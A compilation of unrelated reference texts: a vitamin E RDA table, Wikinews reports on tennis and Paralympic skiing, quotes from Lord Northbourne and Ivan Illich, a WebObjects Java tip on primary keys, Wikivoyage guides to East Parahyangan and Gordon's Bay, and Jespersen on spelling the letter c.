cells, cell signaling, regulation of gene expression, and other metabolic processes http://ods.od.nih.gov/factsheets/vitamine.asp The Recommended Dietary Allowance (RDA) The RDA for vitamin E was previously 8 mg/day for women and 10 mg/day for men. The RDA was revised by the Food and Nutrition Board of the Institute of Medicine in 2000 (4). This new recommendation was based largely on the results of studies done in the 1950s in men fed vitamin E deficient diets. In a test-tube analysis, hydrogen peroxide was added to blood samples and the breakdown of red blood cells, known as hemolysis, was used to indicate vitamin E deficiency. Because hemolysis has also been reported in children with severe vitamin E deficiency, this analysis was considered to be a clinically relevant test of vitamin E status. Importantly, this means that the latest RDA for vitamin E continues to be based on the prevention of deficiency symptoms rather than on health promotion and prevention of chronic disease. The Recommended Dietary Allowance (RDA) for RRR-alpha-tocopherol (d-alpha-tocopherol) Life Stage Age Males; mg/day (IU/day) Females; mg/day (IU/day) Infants (AI) 0-6 months 4 mg (6 IU) 4 mg (6 IU) Infants (AI) 7-12 months 5 mg (7.5 IU) 5 mg (7.5 IU) Children 1-3 years 6 mg (9 IU) 6 mg (9 IU) Children 4-8 years 7 mg (10.5 IU) 7 mg (10.5 IU) Children 9-13 years 11 mg (16.5 IU) 11 mg (16.5 IU) Adolescents 14-18 years 15 mg (22.5 IU) 15 mg (22.5 IU) Adults 19 years and older 15 mg (22.5 IU) 15 mg (22.5 IU) Pregnancy all ages - 15 mg (22.5 IU) Breast-feeding all ages - 19 mg (28.5 IU) http://lpi.oregonstate.edu/infocenter/vitamins/vitaminE/
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Thursday, January 4, 2018 Tennis Related articles 25 May 2020: Georgian tennis player Nikoloz Basilashvili arrested on domestic violence charge 13 June 2018: Tennis: Nadal beats Thiem to win eleventh French Open title 4 January 2018: Tennis: Andy Murray withdraws from Australian Open 4 November 2017: Tennis: Nadal withdraws from Paris Masters, suffers from knee injury 15 July 2017: Djokovic withdraws from Wimbledon Championships Collaborate! Pillars of Wikinews writing Writing an article Today, Scottish tennis player Andy Murray withdrew from the upcoming Australian Open Grand Slam tournament, the organisers announced via Twitter. Two days ago, Murray announced withdrawal from the Brisbane International suffering from a hip injury. A five-time finalist at the Australian Open, Murray has not played a single competitive game since he was knocked-out of last year's Wimbledon Championship by US tennis player Sam Querrey in the quarter-finals. Murray did not participate in the US Open, withdrawing from the Grand Slam two days before it was to commence. Winner of three Grand Slams, the Scot is currently ranked sixteenth in the world. He was scheduled to play Ryan Harrison in Brisbane. The 30-year-old exited in the fourth round in last year's Australian Open. Next month, Murray is to lose points earned for the fourth round. This year's tournament is scheduled to start on January 15. Murray said, "Sadly I won't be playing in Melbourne this year, as I am not yet ready to compete". Australian Open. "Australian Open on Twitter" — Twitter, January 4, 2018 AP. "Andy Murray withdraws from Australian Open with lingering hip problem" — USA Today, January 4, 2018 Russell Fuller. "Andy Murray: Three-time Grand Slam champion out of Australian Open with injury" — BBC Sport, January 4, 2018 Paul Malone. "Andy Murray will miss the Australian Open with ongoing hip injury" — The Daily Telegraph, January 4, 2018 "Australian Open 2018: Former world No.1 Andy Murray pulls out with hip injury" — Sydney Morning Herald, January 4, 2018 Andy Murray. "Andy Murray on Instagram" — Instagram, January 2, 2018
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Walter Ernest Christopher James, 4th Baron Northbourne (18 January 1896 – 17 June 1982) was an English agriculturalist, author and rower who competed in the 1920 Summer Olympics. "Intellectual Freedom", in Studies in Comparative Religion, Vol. 5, No.1. (Winter 1971) The idea has grown up that the scientific approach can alone properly be said to be intellectual, whereas the approach of religion cannot, and that therefore the tendency of religion is to impede intellectuality. This is not to be wondered at in people for whom the word "intellectuality" implies no more than conformity to the scientific approach; but if the goal of intellectuality is not a better understanding of the origin, nature and end of man and of the universe, what is it? It is just such an understanding that religion claims to offer, and in so far as that claim is justified, religion, very far from impeding intellectuality, is an essential part of it. Science offers no alternative framework. The best it can offer is wealth in a wide sense of the term, that is to say, the satisfaction of a wide variety of desires. It cannot conceive of any means of achieving that escape from desires we call "contentment" otherwise than through the satisfaction of those desires; it has not yet learnt that there is no limit to the multiplication of desires, nor that, since different people's desires are often mutually incompatible, an indefinite multiplication of desires increases conflict as well as discontent. People, even poor people, were in general more contented before the 1914-18 war than they are now, although not nearly so well provided with comforts and luxuries. Incidentally they were also more often people of strong individuality, "characters" or "personalities" as we might say; not of course always either virtuous or agreeable, but qualitatively distinctive, not mere drops in an ocean of mediocrity. And they were more content with their lot than we are. What then is the true criterion of contentment? Can it be anything but the acceptance of one's lot, whatever it may be? Or in other words, knowing one's place and fulfilling faithfully whatever function may be associated with it, with a pride in the quality of the product as the principal incentive rather than any tangible reward; knowing, perhaps, that not to want is better than to have; and above all being intelligent enough not to place one's best hopes in nothing but the satisfactions which a short sojourn in this world can bring. All these things are criteria of contentment, and at the same time they are universal ethical constituents of every religion and tradition. If the confusion, fear and discontent of our times seem to be reaching towards an extreme, despite a technological development bringing a wealth and a luxury unparalleled in history, why is an exactly coincident decay of religion scarcely ever suggested as a causal factor? Anyone who clings to religion is clinging, not to an arbitrary framework of man's devising, but to the only framework that can serve as a starting-point for the realization of an inward freedom that is independent of terrestrial contingencies. Wikipedia has an article about: Walter James, 4th Baron Northbourne
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When your primary key is not visible as a class property, the documented way to obtain the primary key values is with EOUtilities.primaryKeyForObject(). This works, but in the case where you have a single non-compound primary key, you need a few more lines of code to pull out this pk value. More troubling, the EOUtilities method, when called with a fault, will cause the fault to be resolved. The fault does not really need to be resolved to get the primary key, as the pk value is present even in the fault. Here's a method that works for EOs which have a single Integer primary key, to pull out that pk value, and without resolving a fault (possibly causing a trip to the db) when called on a fault value: public static Integer singleIntegerPrimaryKeyForObject(EOEnterpriseObject eo) { EOEditingContext ec = eo.editingContext(); if (ec == null) { //you don't have an EC! Bad EO. We can do nothing. return null; } EOGlobalID gid = ec.globalIDForObject(eo); if (gid.isTemporary()) { //no pk yet assigned return null; } EOKeyGlobalID kGid = (EOKeyGlobalID) gid; NSArray keyValues = kGid.keyValuesArray(); if (keyValues.count() != 1 || ! (keyValues.objectAtIndex(0) instanceof Integer)) return null; return (Integer) keyValues.objectAtIndex(0); } You can also use the EOUtilities method but please note that, at least as of WO5, there are two somewhat undesirable aspects of this EOUtilities code: If the EO is a fault, calling the EOUtilities method will cause the fault to be resolved, possibly requiring a trip to the db, even though pk info is already present in the fault and the trip to the db is really unnecessary at this point. If the EO has just been inserted and not yet committed, it does not have a pk yet, and the EOUtilities code will throw an exception. And it's not a logical exception corresponding to "no pk yet", but rather some uncaught exception thrown by some surprised Apple code. Usually EOF doesn't get around to generating/inserting primary keys until you actually saveChanges() on an EOEditingContext containing newly created about-to-be saved EOEnterpriseObjects. But sometimes you want to assign a permanent pk as soon as you create the EOEnterpriseObject, not wait until it's actually committed to the db. Here's some code to do that, which, in a given situation, will generate the pk in the same way that EOF would have generated it later, but do it right away. [Thanks to Pierre Barnard] public void _insertObjectWithGlobalID(EOEnterpriseObject eo, EOGlobalID globalID) { EOEntity entity = EOUtilities.entityNamed(this, eo.entityName()); EODatabaseContext dbContext = EOUtilities.databaseContextForModelNamed(this, entity.model().name()); NSDictionary pkDict = primaryKeyDictionaryForDatabaseContextAndEntity(dbContext, entity); if (pkDict == null || pkDict.count() != 1) { NSLog.err.appendln("Failed to generate primary key for entity " + entity.name() + ", or pk is compound. "); } else { Object pk = pkDict.allValues().lastObject(); globalID = EOKeyGlobalID.globalIDWithEntityName(entity.name(), new Object[] { pk }); } super._insertObjectWithGlobalID(eo, globalID); } public static NSDictionary primaryKeyDictionaryForDatabaseContextAndEntity(EODatabaseContext dbContext, EOEntity entity) { NSDictionary pk = null; try { dbContext.lock(); EOAdaptorChannel adaptorChannel = dbContext.availableChannel().adaptorChannel(); if (!adaptorChannel.isOpen()) { adaptorChannel.openChannel(); } pk = (NSDictionary) adaptorChannel.primaryKeysForNewRowsWithEntity(1, entity).lastObject(); } catch (Exception e) { NSLog.err.appendln("Can't get primary keys for entity " + entity.name() + " " + e); } finally { dbContext.unlock(); return pk; } } There are 2 insertObjectWithGlobalID methods in EOEditingContext. One has a name prefixed by an underscore. The regular one seems to call that one. For most uses overriding the regular one should be sufficient. With JavaClient however, the regular one is not called. On the server side only the one with the underscore is called. You'll have to override the method with the underscore in the server side context as the above will work only on the server. If you use nested ECs in a standard WO application you might have to override the same semi-private method should you want the parent EC to handle PK creation. BTW, I believe EOF does some optimization by retrieving PKs in batches rather than one by one. You lose that when using the above code.
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East Parahyangan is a mountainous region in the southeast of Western Java, Indonesia. -7.366667108.5333331 Banjar — city at the border with Central Java, surrounded by several lakes. -7.333333108.352 Ciamis — historic town that was once the centre of the Galuh Kingdom. -6.983333108.4833333 Kuningan — eastern point of entry to the Ciremai volcano. -6.836452108.2272784 Majalengka — surrounded by mountains and waterfalls, western entry point to the Ciremai volcano. -7.68501108.65375 Pangandaran — popular beach resort town with a busy fish market. -7.333333108.26 Tasikmalaya — also simply 'Tasik'; a regional centre, the largest city in the region. -7.75108.51 Batu Karas — quiet beach village popular among surfers. -6.882964108.4888742 Linggajati — tiny village where the 1946 Linggadjati Agreement was negotiated during the War of Independence. -6.916667108.3333333 Mount Ciremai National Park — national park centred around the highest mountain of Western Java. As the name implies, East Parahyangan is the eastern continuation of the mountain region of Parahyangan, which is centred around the city of Bandung. The volcanic mountain region of East Parahyangan includes the regencies of Tasikmalaya, Ciamis, Kuningan, Majalengka (the mountainous part), and Pangandaran, as well as the independent cities of Tasikmalaya and Banjar. From about the 7th to the 15th century, the region was part of the Galuh Kingdom, a Hindu kingdom of which the capital is believed to have been in Kawali, near Ciamis. After the fall of the Galuh Kingdom and its neighbour the Sunda Kingdom (based in Bogor Raya), the region came under the control of the sultanate of Cirebon and the Mataram Sultanate from Central Java. Soon after, the colonial powers from Europe came to Java, and the Dutch East India Company (VOC) settled in Batavia (Jakarta). By the early 18th century also the entire Parahyangan region was under Dutch control. The new Kertajati International Airport (KJT IATA) is intended to be the main airport of the region. There is one small airport in the region with scheduled flights. Nusawiru Airport (CJN IATA) near the town of Cijulang is along the road from Pangandaran to Batu Karas on the south coast. It is served by scheduled flights from Halim Airport in East Jakarta operated by Susi Air. The nearest larger airport is in Bandung (BDO IATA), with flights from major cities throughout Indonesia as well as Singapore and Malaysia. Especially to get to the northern part of East Parahyangan (such as Majalengka) it is also a good option to fly to Jakarta's major Soekarno-Hatta International Airport, as the tolled motorways allow for a quick journey. There is one operational railway in East Parahyangan, that runs from west to east centrally through the region. The largest railway stations are in Tasikmalaya and Banjar, which are both served by about a dozen daily trains in both directions: to the west (Bandung, some of them further to Jakarta) and to the east (Central Java, some of them further to East Java). The railway station in Ciamis is also served by long-distance trains, but fewer than Tasik and Banjar. All of the larger towns and cities have intercity bus terminals. Especially the Southern Java Route (the road from Bandung via Tasikmalaya to Yogyakarta) sees many long-distance buses, and as a result Tasikmalaya, Ciamis, and Banjar have very good connections to the west (mainly Bandung and Greater Jakarta) and the east (mainly Central Java but also East Java). In addition to these cities, all other towns have at least bus connections to Jakarta and Bandung, and in the northern part of the region also connections to Cirebon are plenty. The larger towns and cities are interconnected by a network of buses. Within the city of Tasikmalaya as well as the other larger towns it is easy to get around using a dense network of angkot (public minivans). To and within more remote areas of the region, public transport is more limited. During weekends and holidays, traffic congestion is common on the roads to tourist destinations, such as the beach of Pangandaran. While there are some taxi companies in Tasikmalaya, in other parts of the region this is more limited. However, in all towns and villages you can rent an ojek (motorcycle taxi), which are usually available at all major street corners. Other transport options in some places include becak (bicycle rickshaws), and delman (horse carriages). There are various active volcanoes in the region. The most well-known volcano is Mount Ciremai, that forms the centre of the Mount Ciremai National Park. You can climb the volcano from several sides, and if you are lucky see the endangered Javan surili monkey and Javan hawk-eagle. Other volcanoes that can be climbed include Mount Galunggung near Tasikmalaya and Mount Sawal near Ciamis. Along the Indian Ocean coast, there are various beaches. The most well-known beach town in the region is Pangandaran, with a nature park with a beautiful white sand beach with monkeys, many accommodations, and a busy fish market. About 40 km from Pangandaran is the smaller village of Batu Karas, that is mainly known for its beginner surf break. Between Pangandaran and Batu Karas there is the 'green canyon', a beautiful river among jungle and rocks. Also along the remainder of the coast there are beaches, but these are less touristic. The number of historic sights is relatively limited in the region, although in most towns usually some buildings are remnants of the colonial time, such as railway stations, government buildings, and post offices. However, near Ciamis the Astana Gede inscriptions can be found, which are 14th century inscriptions from the Galuh Kingdom. Another place of historic interest is the village of Linggajati. During the Indonesian War of Independence the Linggadjati Agreement of 1946 was negotiated here, between the Dutch administration and the self-proclaimed Republic of Indonesia. The negotiation buildings is now a museum. Near Tasikmalaya you can find the village of Kampung Naga, where the community still lives with traditional simplicity and environmental wisdom. Surfing is a popular activity at the Indian Ocean beaches. Pangandaran has a long beach break, and various facilities such as surf schools and rental places. Batu Karas is much smaller, but its right hand wave is arguable one of the best beginner surf breaks in the world. There is no surf school, but you can rent boards, and the locals are willing to teach you how to surf. In the other parts of the region, trekking is popular at the volcanoes. One of the most popular mountain climbing routes starts at the historical village of Linggajati, and goes from there up the Ciremai volcano. However, for enjoying the nature you don't need to go all the way up a volcano. The green canyon is a popular tourist attraction near Batu Karas, and in the surroundings of Majalengka there are several impressive water falls. A popular thing to do among locals during weekends and holidays is to visit one of the water parks (with swimming pools and water slides). Some of the largest in the region can be found in Banjar, Kuningan, and Majalengka. The traditional food from the region, Sundanese food, is ubiquitous, and can be found everywhere from major hotels to roadside food stalls. The food is characterised by fresh (often raw) vegetables, sambal terasi (chili sauce with shrimp paste), and fried tofu and tempeh. In traditional Sundanese restaurants, it is common to sit on a bamboo mat on the floor, and eat with your hands. A small bowl of water is provided to clean your hands before eating. Some typical types of food specifically in East Parahyangan include nasi tutug oncom (rice mixed with fermented soy bean tailings) in Tasikmalaya and the galendo snack (made of coconut milk) in Ciamis. Of course, fresh fish and seafood can be found along the Indian Ocean coast, with the largest fish market being in Pangandaran. Along the beaches of Pangandaran and Batu Karas you can find alcoholic beverages. In the remainder of the region cafés that sell alcoholic drinks are less common, but usually you can buy Bintang beer at least in the hotels and resorts. Be aware that there are several active volcanoes in the area. Make sure to be informed about the latest situation on eruptions and volcanic activity from the Indonesian authorities when you want to climb a volcano. Along the south coast there is a risk of tsunamis. There is a tsunami warning system and there are tsunami escape routes. When you arrive, have a look at the signs so you know where to go in case of a warning. Keep also in mind that traffic is busy and chaotic. If you are not used to driving in Indonesia, it is better to use public transport or to hire a car with a driver rather than attempting to drive by yourself. Parahyangan — more volcanoes, and the city of Bandung (the 'Paris of Java'). North Coast of West Java — beaches on the Java Sea coast, and the 'city of shrimps' Cirebon. Purwokerto — city in Central Java at the base of Slamet volcano.
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Gordon's Bay is a suburb of greater Cape Town, and on the east side of the Strand. it is situated between False Bay and the foot of the Hottentots Holland mountain range. This seaside town offers visitors a variety of activities and attractions in the immediate vicinity and within a short drive which include Cape cuisine and fine scenery. From Cape Town, take the N2 eastwards, exit to the Strand and drive further along the coast, or turn off directly to Gordon's Bay at the bottom of Sir Lowry's pass. Devon street Saiking cruises: Gordon's Bay Yacht Club is in the old harbour - you can take a sunset cruise on a sailing yacht; relax and sip wine; and watch the evening glitter of the ocean whilst listening to water lap the side of the boat. Other options include deep-sea fishing trips or a simple boat ride. One can also enjoy fresh seafood at the Old Harbour at its restaurants. Neaco: If you are planning on spending some time out in the sun, Gordon’s Bay is has long stretches of white, sandy beaches. Here one can enjoy peace of mind with safe and protected bathing, though it may be windy in summer. The beaches are suitable for sunbathing, snorkeling, jet and water skiing, surfing, volleyball, sailing and rubber ducking (riding small inflatable powerboats). Several cafes, restaurants, coffee shops, pubs and curio shops can be found along the beachfront in the form of the Gordon’s Bay beachfront promenade. Nearby, to the south of the old harbour, is the smaller and more secluded Bikini beach where you can enjoy a safe and protected swim and enjoy the sunshine. Other beaches in the area include Melkbaai, Sunset Beach and Kogel Bay. Fishing charters: You can charter a fishing boat or angle from the breakwater or shoreline. You might even catch some fish. Scuba diving is available when the weather permits, which is mostly in summer in Gordon's Bay, but there are some good days most seasons. There are scuba diving schools in Gordon's Bay and in the surrounding area where one can be trained and certified. There is often somewhere within a day-trip range where the conditions will be suitable for diving, from the Cape Peninsula to Hermanus. Do not be put off by the wind if it is from the southeast, the diving is often at its best during or after offshore south easterly winds, and the dive sites are almost all close inshore where it is sheltered from the wind below the steep mountainside. The dive sites are all on rocky reefs and are suitable for all levels of diver. Golf: There are nine golf courses within about a half hour's drive: Pearl Valley, De Zalze at Spier, Stellenbosch, Devonvale, Somerset West, Strand, Erinvale, Bosch-en-Meer and Arabella. Ordinary day to day goods and some souvenirs are available within the town, and a much larger range a little further afield at Strand and Somerset West. The County Craft Market has more than two hundred stalls, and offers its customers a diverse range of handcrafted arts and crafts. Somerset Mall, a fifteen-minute drive from Gordon’s Bay, is a large upmarket shopping mall with a large range of supermarkets and boutiques. Harbour Island, the waterfront development, offers several restaurants – which include Snappers Restaurant, Dutch Bar, and the Star Fish Café – one can enjoy a light lunch, have an early evening drink, or dine adjacent to the sea. All of these lively or intimate venues are tailored to cater for an international clientele. Mi Casa Restaurant & Cocktail Bar, 157 Beach Rd, ☏ +27 21 856-3128. A comfortable restaurant near Bikini Beach in Gordon's Bay. They have a wide variety of menu items and cocktails. Fynbos Self Catering, 90 Chapman Ave, ☏ +27 21 856-1824, fax: +27 21 856-1824, [email protected]. A holiday house and garden flat with Uninterrupted views of mountains and sea. From R200 per night for two. -34.16373918.8633811 Berg en Zee Guesthouse, 135 Beach Rd, ☏ +27 21 856-3095, fax: +27 21 856-4080, [email protected]. Check-in: 14h00, check-out: 11h00. Elegant and comfortable Gordon's Bay guesthouse with sea views from every room. Situated just 50 metres from the beach and in walking distance to restaurants. From R425 per night per person. Pringle Bay - up the coast towards Kleinmond and Hermanus Strand and onto Somerset West or Stellenbosch
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Saturday, December 15, 2012 Yesterday, Wikinews spent time with with Australian Paralympic skier Victoria Pendergast who was in Copper Mountain, Colorado for this week's IPC Nor-Am Cup. ((Wikinews)) I'm interviewing Victoria Pendergast who is an Australian female sit skier on the development team. Victoria Pendergast: Yer, that's right. ((Wikinews)) How have you been doing here [Copper Mountain] so far? Victoria Pendergast: Yer, its been alright. Like some races not so good, other races I was pretty happy with the results. We've got Winter Park to look forward to, so bit of a warm-up, but, trying to get results. ((Wikinews)) Before this [skiing] the other sport you've done is athletics? You competed at that for the games or was that somebody else? Victoria Pendergast: No, that was me. I did it for the school, did shot put and did swimming for a bit. ((Wikinews)) Why would someone switch from athletics to be a crazy mono skier? Victoria Pendergast: It was a bit of a crazy sort of events kinda went here with my family and then one thing lead to another and like wanted to give sit skiing a go. ((Wikinews)) Australia doesn't have many female sit skiers, are you shooting for Sochi? Victoria Pendergast: It would be nice to get it. It'd be a bit hard to get points to get into it but, you know, if I can get the points to get into Sochi, I've got some [...]. ((Wikinews)) Cool. Thank you very much. "Wikinews interviews Australian Paralympic skiers Jessica Gallagher and Eric Bickerton" — Wikinews, December 11, 2012 "Wikinews interviews Australian blind Paralympic skier Melissa Perrine" — Wikinews, December 10, 2012 "Wikinews interviews Australian Paralympic skier Andrew Bor" — Wikinews, December 11, 2012 "Wikinews interviews Australian Paralympic skiers Toby Kane, Cameron Rahles Rahbula, and Mitchell Gourley" — Wikinews, December 14, 2012
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The greatest mischief-maker in European languages is the letter c. This is owing to the historic fact that the sound for which this letter stood when the Latin alphabet was framed, namely [k], in course of time has changed very considerably, and has changed in different ways in the various countries into which the Latin language and the Latin alphabet penetrated - but the spelling has generally been kept unchanged. Where the old Romans pronounced two [k]s in such a word as circulus, only the second c has kept its sound, while the first, like any c before i and e, was drawn forward by these front vowels, the result being that the initial sound is now [tS] in I circolo, [phonetic symbol] (pronounced like E th) in S circulo, [s] in E circle, F cercle, Sc cirkel and P circulo. Before becoming [s] the sound in F was [ts], and this pronunciation was taken over into D (where the spelling is now zirkel) as well as into Slavic languages: in these latter the same value of the letter c was extended so that c is even used before a, o, u and consonants: in Polish the Russian tsar is spelt car, the D loan-word zug (`draught, train') is written cug, and sugar (D zucker) cukier; the name Potocki is pronounced with [tski]. Similarly in Czech. Now, what are we to do in our constructed language with this rebellious letter? So far as I can see, there are the following possibilities: (1) We keep c everywhere and give to it its ancient value of [k] in all positions. This seems to be absolutely impossible in spite of the fact that Latin is now taught in many schools in various countries with this pronunciation, Cicero being pronounced as Kikero, etc. But who could seriously think of pronouncing kivil, kirkle, kentigram, etc., in ordinary life ? (2) C is kept before a, o, u and consonants, where it has the value [k], but is changed in spelling to s before e and i. Thus we could write corespond, canon, sircle, sentre, etc. This is not at all a bad solution, as it would not lead any West-European or American into the temptation of mispronunciation; still I think this way out of the difficulty far inferior to the one proposed below. It has the inconvenience of having no less than three letters for one and the same sound: c,k, and q, and of causing difficulties with certain derivative endings: from critic, msic, fisic (physic) we must be able to form words in -ere, -iste: but how is the c to be pronounced before these endings or in scepticisme ? (3) C is kept everywhere, but is given two different pronunciations according to the letter following it. This would preserve the spelling known from E F S in most cases, and that of course is an advantage. Nor would there be any difficulty with the [k]-pronunciation, but should c before e and i be pronounced [s] or [ts], or how ? In Occ this system is followed with the pronunciation [ts]; and not only has the letter c thus two pronunciations, but the same root takes automatically two forms according to the derivative ending used; thus we find electric electricità, public publicist publication publicmen, etc. The reason alleged is that it is in this way possible to arrive at a great many forms found in existing languages by means of "regular" derivation - this, however, only means that the irregularity is hidden away behind the duplicity of the spelling or is shifted onto the rules for pronunciation. In order to have the regular formation simplicità Occ even is obliged to have a form simplic with a [k] for the adjective (and simplicmen for the adverb), which is found with that pronunciation in no existing language - and not only this, but Occ also has another form for the adjective: simpl, which is demanded on account of the word simplifiction, which also has to be formed regularly. Such is the simplicity arrived at when one follows consistently the inconsistencies of national languages. Another objection to Occ in this respect is that the pronunciation [ts] given to c is not the one used for this letter in the most widely known languages; a form like simplicità with its ending and accent-mark would even downright tempt many people to give c its Italian sound. (4) K is written for c when so pronounced; otherwise the letter c is used. The pronunciation of c is thus one and the same in all positions, but might be either [s] or [ts]; in the former case (as in the corresponding case sub 3) we should have two ways of writing the same sound, which might cause difficulties for those who are not familiar with traditional European spelling and who learn the I.A.L. orally - a class of people which is negligible nowadays, but must be counted with in the future, if our I.A.L. is really to spread according to its idea. The second pronunciation, [ts], is the one given everywhere to c in Esperanto and Ido, in the formerly undoubtedly on account of Zamenhof's Polish extraction; and in both languages c is used extensively with this value not only before e and i, but also before other vowels. This is in many cases a direct consequence of the structure of the language with its frequent grammatical endings o, a, as, os, us; as all substantives end in -o, we must have not only princino princess, but also princo prince, paco peace, further verbs like intencas, intencos, intencus (various tense of the verb for `intend'). In Ido we have the demonstratives ca, co, taken from F ce, but with a pronunciation and endings not found in F, and further a great many verbs like formacar, importacar, where the sound [ts] is taken, curiously enough, from the Latin (F E etc.) ending -ation, which has no place as such in the system. This use or abuse of the letter c is one of the most striking features of this group of constructed languages, but, as already remarked, is somewhat repellant to most people outside the Slavic world. If c is pronounced [ts], and this pronunciation is insisted on everywhere, some international words have to be pronounced with harsh consonant groups, e.g. science (Z has scii for `to know,' with sts), except, etc. Ido alleviates these groups and has such forms as cienco, ecepter, ceno scene, etc. But these forms are not quite natural, as they are found with that pronunciation in none of the national languages, and it would be in better conformity with what exists already if we simplified them into sientie, exept (eksept), sene, etc., as actually done in the received pronunciation in E F Sc and other languages. This means one sound less than Ido has, in the sc-words, and the group [ks] instead of [ts] in xc. But this leads us to the last possibility. So far as I know, it has not been proposed to use ç instead of c and otherwise keep the Esp spelling; nor would much, if anything, be gained by this clumsy expedient. (5) Instead of c we write k and s according to circumstances, thus kanon, kultur, obstakle, sirkle, sivil, serebral, sentre, aksept, oksidente, etc. - further sene, septre for scene, sceptre, etc. (and arkeologe, skole). This spelling has the advantage of expressing unmistakably and according to one simple rule that pronunciation of all these words which is best known to the vast majority of speakers (E F P Sc besides Andalusian and American Spanish), and it will offer no difficulty to those accustomed to other pronunciations of the letter c, as k and s are everywhere known with the values here given to them. Those who object to such spellings, which at first blush may seem barbaric, may perhaps be pacified by the following considerations. Here and there we already find c and s alternating both within one and the same language and when two or more languages are compared. In E we thus have side by side licence license, practice practise, prophecy prophesy, pace pass. How many English people know exactly the difference between council and counsel ? E has c, where F has s, in many words: dance, defence (cf. also E defensive, defensible), offence, ace F as, juice F jus, vice F vis the instrument. Cf. also F E race, D rasse (I razza, S raza). Italian has sigaro and Dutch sigaar for cigar. That c is not sacrosanct in words of Latin origin is shown by the official D spelling zivil, zirkel, etc. Compare further E eccentric, I eccentrico, F excentrique, and E ecstacy, F extase. In favour of the spelling here advocated I may also say that if -o and -a are to be marks of the two sexes, as will be proposed below, we could not keep c in such a word as prince, for then we should have princo prince, princa princess, which are impossible unless we pronounce in the Zamenhofian way. Prinso and prinsa are much better. In the same way Franso a Frenchman, Fransa a Frenchwoman; and with other suffixes, for instance pasal, pasosi, adjectives from pase peace, etc. Everything hangs together in such a language as the one we are here constructing. Very often, where Ido has c, it is best to reintroduce the L ti, e.g. tendentie, silentio, natione, sientie, pretie - with the ordinary pronunciation of t, not with [ts] or [S]. in some of these ti is found in derivatives in some languages, e.g. D pretiosen, Dan pretiosa.
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Ivan Illich (4 September 1926 – 2 December 2002) was an Austrian-born Christian anarchist, author, polymath, and polemicist. People need new tools to work with rather than new tools that work for them. Tools for Conviviality (1973), p. 10 In a consumer society there are inevitably two kinds of slaves: the prisoners of addiction and the prisoners of envy. Tools for Conviviality (1973), Ch. 3 The habitual passenger cannot grasp the folly of traffic based overwhelmingly on transport. His inherited perceptions of space and time and of personal pace have been industrially deformed. He has lost the power to conceive of himself outside the passenger role. Addicted to being carried along, he has lost control over the physical, social, and psychic powers that reside in man's feet. The passenger has come to identify territory with the untouchable landscape through which he is rushed. He has become impotent to establish his domain, mark it with his imprint, and assert his sovereignty over it. He has lost confidence in his power to admit others into his presence and to share space consciously with them. He can no longer face the remote by himself. Left on his own, he feels immobile. The habitual passenger must adopt a new set of beliefs and expectations if he is to feel secure in the strange world where both liaisons and loneliness are products of conveyance. To "gather" for him means to be brought together by vehicles. He comes to believe that political power grows out of the capacity of a transportation system, and in its absence is the result of access to the television screen. He takes freedom of movement to be the same as one's claim on propulsion. He believes that the level of democratic process correlates to the power of transportation and communications systems. He has lost faith in the political power of the feet and of the tongue. As a result, what he wants is not more liberty as a citizen but better service as a client. He does not insist on his freedom to move and to speak to people but on his claim to be shipped and to be informed by media. He wants a better product rather than freedom from servitude to it. It is vital that he come to see that the acceleration he demands is self-defeating, and that it must result in a further decline of equity, leisure, and autonomy. "Energy and Equity" (1974) Modern medicine is a negation of health. It isn’t organised to serve human health, but only itself, as an institution. It makes more people sick than it heals. Medical Nemesis (1976) Jesus was an anarchist savior. That's what the Gospels tell us. Just before He started out on His public life, Jesus went to the desert. He fasted, and after 40 days he was hungry. At this point the diabolos, appeared to tempt Him. First he asked Him to turn stone into bread, then to prove himself in a magic flight, and finally the devil, diabolos, "divider," offered Him power. Listen carefully to the words of this last of the three temptations: (Luke 4,6:) "I give you all power and glory, because I have received them and I give them to those whom I choose. Adore me and the power will be yours." It is astonishing what the devil says: I have all power, it has been given to me, and I am the one to hand it on — submit, and it is yours. Jesus of course does not submit, and sends the devilcumpower to Hell. Not for a moment, however, does Jesus contradict the devil. He does not question that the devil holds all power, nor that this power has been given to him, nor that he, the devil, gives it to whom he pleases. This is a point which is easily overlooked. By his silence Jesus recognizes power that is established as "devil" and defines Himself as The Powerless. He who cannot accept this view on power cannot look at establishments through the spectacle of the Gospel. This is what clergy and churches often have difficulty doing. They are so strongly motivated by the image of church as a "helping institution" that they are constantly motivated to hold power, share in it or, at least, influence it. The Educational enterprise in the Light of the Gospel (13 November 1988) Churches also have their problems with a Jesus whose only economics are jokes. A savior undermines the foundations of any social doctrine of the Church. But that is what He does, whenever He is faced with money matters. According to Mark 12:13 there was a group of Herodians who wanted to catch Him in His own words. They ask "Must we pay tribute to Caesar?" You know His answer: "Give me a coin – tell me whose profile is on it!." Of course they answer "Caesar's." The drachma is a weight of silver marked with Caesar's effigy. A Roman coin was no impersonal silver dollar; there was none of that "trust in God" or adornment with a presidential portrait. A denarius was a piece of precious metal branded, as it were, like a heifer, with the sign of the personal owner. Not the Treasury, but Caesar coins and owns the currency. Only if this characteristic of Roman currency is understood, one grasps the analogy between the answer to the devil who tempted Him with power and to the Herodians who tempt Him with money. His response is clear: abandon all that which has been branded by Caesar; but then, enjoy the knowledge that everything, everything else is God's, and therefore is to be used by you. The message is so simple: Jesus jokes about Caesar. He shrugs off his control. And not only at that one instance... Remember the occasion at the Lake of Capharnaum, when Peter is asked to pay a twopenny tax. Jesus sends him to throw a line into the lake and pick the coin he needs from the mouth of the first fish that bites. Oriental stories up to the time of Thousand Nights and One Night are full of beggars who catch the fish that has swallowed a piece of gold. His gesture is that of a clown; it shows that this miracle is not meant to prove him omnipotent but indifferent to matters of money. Who wants power submits to the Devil and who wants denarri submits to the Caesar. The Educational enterprise in the Light of the Gospel (13 November 1988) Homo economicus was surreptitiously taken as the emblem and analogue for all living beings. A mechanistic anthropomorphism has gained currency. Bacteria are imagined to mimic "economic" behavior and to engage in internecine competition for the scarce oxygen available in their environment. A cosmic struggle among ever more complex forms of life has become the anthropic foundational myth of the scientific age. "Brave New Biocracy: Health Care from Womb to Tomb" NPQ: New Perspectives Quarterly, Vol. 11, Issue 1 (Winter 1994) Universal education through schooling is not feasible. It would be no more feasible if it were attempted by means of alternative institutions built on the style of present schools. Neither new attitudes of teachers toward their pupils nor the proliferation of educational hardware or software (in classroom or bedroom), nor finally the attempt to expand the pedagogue's responsibility until it engulfs his pupils' lifetimes will deliver universal education. The current search for new educational funnels must be reversed into the search for their institutional inverse: educational webs which heighten the opportunity for each one to transform each moment of his living into one of learning, sharing, and caring. We hope to contribute concepts needed by those who conduct such counterfoil research on education — and also to those who seek alternatives to other established service industries. Introduction (November 1970) I intend to discuss some perplexing 